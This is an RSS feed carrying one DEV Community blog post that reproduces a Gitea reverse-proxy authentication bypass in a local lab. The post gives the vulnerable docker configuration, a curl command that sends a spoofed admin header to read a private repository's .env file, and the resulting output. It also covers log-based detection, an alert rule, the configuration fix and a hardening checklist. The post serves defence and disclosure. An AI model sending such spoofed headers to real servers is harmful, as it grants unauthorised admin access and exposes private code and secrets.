<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:dc="http://purl.org/dc/elements/1.1/">
  <channel>
    <title>DEV Community: Oleg Usoltsev</title>
    <description>The latest articles on DEV Community by Oleg Usoltsev (@cynepmyx).</description>
    <link>https://dev.to/cynepmyx</link>
    <image>
      <url>https://media2.dev.to/dynamic/image/width=90,height=90,fit=cover,gravity=auto,format=auto/https:%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Fuser%2Fprofile_image%2F4035346%2F54a47865-6241-4d4a-a659-fe9013755eb7.png</url>
      <title>DEV Community: Oleg Usoltsev</title>
      <link>https://dev.to/cynepmyx</link>
    </image>
    <atom:link rel="self" type="application/rss+xml" href="https://dev.to/feed/cynepmyx"/>
    <language>en</language>
    <item>
      <title>"Private" wasn't private: a fresh Gitea auth bypass, reproduced on a live lab</title>
      <dc:creator>Oleg Usoltsev</dc:creator>
      <pubDate>Tue, 21 Jul 2026 14:32:19 +0000</pubDate>
      <link>https://dev.to/cynepmyx/private-wasnt-private-a-fresh-gitea-auth-bypass-reproduced-on-a-live-lab-2bkn</link>
      <guid>https://dev.to/cynepmyx/private-wasnt-private-a-fresh-gitea-auth-bypass-reproduced-on-a-live-lab-2bkn</guid>
      <description>&lt;p&gt;People don't self-host git for fun. You stand up Gitea or Forgejo when the code can't leave the building. Not even into a private GitHub repo, you want your own closed perimeter, your own rules. The whole point of the exercise is privacy. Your own thing, behind a fence, under your control.&lt;/p&gt;

&lt;p&gt;Now imagine the fence isn't there. That the "private" repository hands its contents to anyone who asks the right way. That you can log in as admin with no password, using a single HTTP header.&lt;/p&gt;

&lt;p&gt;That is exactly what happened to Gitea in 2026. And more than once.&lt;/p&gt;

&lt;p&gt;Let me say it up front: I don't run Gitea myself, and this article isn't about Gitea. I work on server security, and what catches my eye here isn't a specific product, it's a problem I keep running into. Dangerous defaults in official Docker images. Someone grabs an image, runs it "like the docs say," and ends up with a hole they never put there themselves. So I took a fresh critical CVE, stood up the vulnerable version on a lab box, and ran the whole attack end to end. To show just how literal this is.&lt;/p&gt;

&lt;h2&gt;
  
  
  One header to admin: CVE-2026-20896 (CVSS 9.8)
&lt;/h2&gt;

&lt;p&gt;The entire vulnerability fits in one config line.&lt;/p&gt;

&lt;p&gt;Gitea can live behind an authenticating reverse proxy. The proxy verifies the user and passes their name in the X-WEBAUTH-USER header, and Gitea trusts that header. As long as the header comes from a trusted proxy, it's all legitimate. The REVERSE_PROXY_TRUSTED_PROXIES setting is what decides who counts as trusted. And in the official Docker image it was set to an asterisk. Meaning "trust this header from any address."&lt;/p&gt;

&lt;p&gt;From there the arithmetic is simple. An admin turns on reverse-proxy authentication (people turn it on for SSO), and anyone on the internet sends the header X-WEBAUTH-USER: admin and becomes admin. 9.8 on CVSS. Sysdig caught exploitation attempts in the wild within days of the PoC going public.&lt;/p&gt;

&lt;h3&gt;
  
  
  The lab
&lt;/h3&gt;

&lt;p&gt;Everything in an isolated container on localhost, secrets are fake. The vulnerable version and that exact default:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;docker run &lt;span class="nt"&gt;-d&lt;/span&gt; &lt;span class="nt"&gt;--name&lt;/span&gt; vuln-gitea &lt;span class="nt"&gt;-p&lt;/span&gt; 127.0.0.1:3999:3000 &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;-e&lt;/span&gt; &lt;span class="nv"&gt;GITEA__security__REVERSE_PROXY_TRUSTED_PROXIES&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s1"&gt;'*'&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;-e&lt;/span&gt; &lt;span class="nv"&gt;GITEA__service__ENABLE_REVERSE_PROXY_AUTHENTICATION&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="nb"&gt;true&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
  gitea/gitea:1.26.2
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;I created an admin and a private repository called secret-infra, with a .env inside it. Exactly the kind of thing people keep a private git for:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight properties"&gt;&lt;code&gt;&lt;span class="py"&gt;DB_PASSWORD&lt;/span&gt;&lt;span class="p"&gt;=&lt;/span&gt;&lt;span class="s"&gt;SuperSecret_Prod_2026&lt;/span&gt;
&lt;span class="py"&gt;AWS_SECRET_KEY&lt;/span&gt;&lt;span class="p"&gt;=&lt;/span&gt;&lt;span class="s"&gt;AKIA_fake_prod_key_xyz&lt;/span&gt;
&lt;span class="py"&gt;STRIPE_LIVE&lt;/span&gt;&lt;span class="p"&gt;=&lt;/span&gt;&lt;span class="s"&gt;sk_live_fake_demo&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  The attack
&lt;/h3&gt;

&lt;p&gt;First I look at the service as a random passerby from the internet, with zero access:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight console"&gt;&lt;code&gt;&lt;span class="gp"&gt;GET /admin/secret-infra/raw/branch/main/.env  -&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;404 Not Found
&lt;span class="gp"&gt;GET /api/v1/user                              -&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;401 Unauthorized
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Closed, as it should be. Now I add one header:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;curl &lt;span class="nt"&gt;-H&lt;/span&gt; &lt;span class="s1"&gt;'X-WEBAUTH-USER: admin'&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
  http://target:3000/admin/secret-infra/raw/branch/main/.env
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight properties"&gt;&lt;code&gt;&lt;span class="py"&gt;DB_PASSWORD&lt;/span&gt;&lt;span class="p"&gt;=&lt;/span&gt;&lt;span class="s"&gt;SuperSecret_Prod_2026&lt;/span&gt;
&lt;span class="py"&gt;AWS_SECRET_KEY&lt;/span&gt;&lt;span class="p"&gt;=&lt;/span&gt;&lt;span class="s"&gt;AKIA_fake_prod_key_xyz&lt;/span&gt;
&lt;span class="py"&gt;STRIPE_LIVE&lt;/span&gt;&lt;span class="p"&gt;=&lt;/span&gt;&lt;span class="s"&gt;sk_live_fake_demo&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;That's it. Private stopped being private. Let's go to the admin panel:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight console"&gt;&lt;code&gt;&lt;span class="gp"&gt;GET /-/admin        no header     -&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;303, redirect to login
&lt;span class="gp"&gt;GET /-/admin        with header   -&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;200, admin dashboard
&lt;span class="gp"&gt;GET /-/admin/users  with header   -&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;200, list of all &lt;span class="nb"&gt;users&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Full control. No password, no token, no account.&lt;/p&gt;

&lt;h3&gt;
  
  
  One detail so you don't fool yourself
&lt;/h3&gt;

&lt;p&gt;The header works on web routes: the UI, raw files, the admin panel. It does not work on /api/v1, that path wants a token, and the API honestly returned 401 to me. That sounds reassuring, but it's too early to relax. The attacker is already sitting in the web UI as admin, which means through that same settings form they issue themselves a personal API token. And now they have the API too. Just two steps instead of one.&lt;/p&gt;

&lt;h3&gt;
  
  
  How to catch it in the logs
&lt;/h3&gt;

&lt;p&gt;The attack leaves a distinctive trail. Successful responses on private and admin paths from an address that has no business being there:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight console"&gt;&lt;code&gt;&lt;span class="go"&gt;router: completed GET /admin/secret-infra/raw/branch/main/.env for 172.30.0.3, 200 OK
router: completed GET /-/admin for 172.30.0.3, 200 OK
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Alert rule: 200 OK on /-/admin or on raw files of private repositories from an IP that is not your reverse proxy. If there's a single proxy in front of Gitea, then any hit on the admin panel from an address other than its own is already an incident.&lt;/p&gt;

&lt;h3&gt;
  
  
  The fix
&lt;/h3&gt;

&lt;p&gt;Trust the header only from the real proxy, not from everyone:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nt"&gt;-e&lt;/span&gt; &lt;span class="nv"&gt;GITEA__security__REVERSE_PROXY_TRUSTED_PROXIES&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s1"&gt;'10.0.0.5'&lt;/span&gt;   &lt;span class="c"&gt;# IP/CIDR of your proxy&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;I recreated the container with this value and repeated the exact same exploit from the exact same source:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight console"&gt;&lt;code&gt;&lt;span class="gp"&gt;GET /-/admin with header                                  -&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;401
&lt;span class="gp"&gt;GET /admin/secret-infra/raw/branch/main/.env with header  -&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;401
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The header from an untrusted address is now simply ignored. Properly, you should update to 1.26.4, where the asterisk was removed from the default. Not to 1.26.3, that one had a regression in the SSRF patch. And if you don't need reverse-proxy authentication at all, turn it off and there's nothing left to discuss.&lt;/p&gt;

&lt;h2&gt;
  
  
  This is not a one-off bug
&lt;/h2&gt;

&lt;p&gt;The really unpleasant part shows up when you look at Gitea's whole 2026. The disease is the same, broken access control, but different organs get sick.&lt;/p&gt;

&lt;p&gt;The built-in container registry, CVE-2026-27771. Private images were served to anonymous users. The word "private" on an image repo turned out to be just a label in the interface. At the level of the OCI protocol, the one Docker and Kubernetes actually use to pull images, authentication wasn't checked at all. The bug lived for about four years, roughly 30,000 instances on the internet were exposed, and Forgejo was affected too. Same story: the system thinks access is restricted, and it isn't.&lt;/p&gt;

&lt;p&gt;Then webhooks and migrations, CVE-2026-22874, an SSRF caused by a leaky allow-list filter, from which you could reach internal addresses. Then LFS and CVE-2026-28740: an authorization bypass that gave read access to private repositories and let you reuse objects between repositories without permission.&lt;/p&gt;

&lt;p&gt;Registry, LFS, webhooks, reverse proxy. Every fancy feature bolted on top of git dragged in its own access-control hole. That is the price of rich functionality. The more a service can do, the more places it has where "private" suddenly turns out to be public.&lt;/p&gt;

&lt;h2&gt;
  
  
  If you run Gitea, check today
&lt;/h2&gt;

&lt;ol&gt;
&lt;li&gt;Version. 1.26.4 or newer. Don't take 1.26.3, it has a regression in the SSRF fix.&lt;/li&gt;
&lt;li&gt;REVERSE_PROXY_TRUSTED_PROXIES. Not an asterisk, a specific IP or CIDR of your proxy. Don't need proxy auth? Turn it off.&lt;/li&gt;
&lt;li&gt;Built-in registry. Updating is mandatory because of CVE-2026-27771. Quick stopgap against anonymous access: REQUIRE_SIGNIN_VIEW=true in the service section.&lt;/li&gt;
&lt;li&gt;Network. Don't expose Gitea as a bare port to the outside. Put a proxy or WAF in front, network policies, restrictions on admin paths.&lt;/li&gt;
&lt;li&gt;Monitoring. Alert on 200 OK for /-/admin and for raw files of private repos from foreign addresses.&lt;/li&gt;
&lt;li&gt;Exposure. Scan yourself from the outside and see what's actually sticking out. Registry and LFS are often open wider than the owner thinks.&lt;/li&gt;
&lt;/ol&gt;

&lt;h2&gt;
  
  
  What to take away
&lt;/h2&gt;

&lt;p&gt;One asterisk in a default config, and there's your 9.8 hole. This isn't about Gitea and it isn't about this specific CVE. Official images have trained us to run someone else's defaults without looking, and "works out of the box" and "secure out of the box" are two very different states. Sometimes there is exactly one character between private and public. Here it was an asterisk.&lt;/p&gt;




&lt;p&gt;&lt;em&gt;The lab was built in an isolated environment, all secrets are fake. This is material for defending your own systems.&lt;/em&gt;&lt;/p&gt;

</description>
      <category>security</category>
      <category>devops</category>
      <category>docker</category>
      <category>cybersecurity</category>
    </item>
  </channel>
</rss>
